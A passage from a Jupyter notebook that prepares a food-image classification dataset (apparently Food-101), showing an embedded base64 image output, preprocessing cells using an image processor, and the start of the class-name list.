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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Preprocessing the Data" + ], + "metadata": { + "id": "W8jdhJCQKCOA" + } + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "id": "9x5QuhV8IwXB" + }, + "outputs": [], + "source": [ + "def transform(examples):\n", + " # convert all images to RGB format, then preprocessing it\n", + " # using our image processor\n", + " inputs = image_processor([img.convert(\"RGB\") for img in examples[\"image\"]], return_tensors=\"pt\")\n", + " # we also shouldn't forget about the labels\n", + " inputs[\"labels\"] = examples[\"label\"]\n", + " return inputs" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": { + "id": "vY7oXLDZJBaX" + }, + "outputs": [], + "source": [ + "# use the with_transform() method to apply the transform to the dataset on the fly during training\n", + "dataset = ds.with_transform(transform)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "id": "WbWrF63YQdsE", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "0e4c0b60-e9c1-48c8-d755-88d6d8cfb150" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "torch.Size([3, 224, 224])\n", + "6\n" + ] + } + ], + "source": [ + "for item in dataset[\"train\"]:\n", + " print(item[\"pixel_values\"].shape)\n", + " print(item[\"labels\"])\n", + " break" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "id": "CnrUwcqwKTOV", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "fe094d75-c537-48e7-bfc9-38b8df4db9fa" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['apple_pie',\n", + " 'baby_back_ribs',\n", + " 'baklava',\n", + " 'beef_carpaccio',\n", + " 'beef_tartare',\n", + " 'beet_salad',\n", + " 'beignets',\n", + " 'bibimbap',\n", + " 'bread_pudding',\n", + " 'breakfast_burrito',\n", + " 'bruschetta',\n", + " 'caesar_salad',\n", + " 'cannoli',\n", + " 'caprese_salad',\n", + " 'carrot_cake',\n", + " 'ceviche',\n", + " 'cheesecake',\n", + " 'cheese_plate',\n", + " 'chicken_curry',\n", + " 'chicken_quesadilla',\n", + " 'chicken_wings',\n", + " 'chocolate_cake',\n", + " 'chocolate_mousse',\n", + " 'churros',\n", + " 'clam_chowder',\n", + " 'club_sandwich',\n", + " 'crab_cakes',\n", + " 'creme_brulee',\n", + " 'croque_madame',\n", + " 'cup_cakes',\n", + " 'deviled_eggs',\n", + " 'donuts',\n", + " 'dumplings',\n", + " 'edamame',\n", + " 'eggs_benedict',\n", + " 'escargots',\n", + " 'falafel',\n", + " 'filet_mignon',\n", + " 'fish_and_chips',\n", + " 'foie_gras',\n", + " 'french_fries',\n", + " 'french_onion_soup',\n", + " 'french_toast',\n", + " 'fried_calamari',\n", + " 'fried_rice',\n", + " 'frozen_yogurt',\n", + " 'garlic_bread',\n", + " 'gnocchi',\n", + " 'greek_salad',\n", + " 'grilled_cheese_sandwich',\n", + " 'grilled_salmon',\n", + " 'guacamole',\n", + " 'gyoza',\n", + " 'hamburger',\n", + " 'hot_and_sour_soup',\n", + " 'hot_dog',\n", + " 'huevos_rancheros',\n", + " 'hummus',\n", + " 'ice_cream',\n", + " 'lasagna',\n", + " 'lobster_bisque',\n", + " 'lobster_roll_sandwich',\n", + " 'macaroni_and_cheese',\n", + " 'macarons',\n", + " 'miso_soup',\n", + " 'mussels',\n", + " 'nachos',\n", + " 'omelette',\n", + " 'onion_rings',\n", + " 'oysters',\n", + " 'pad_thai',\n", + " 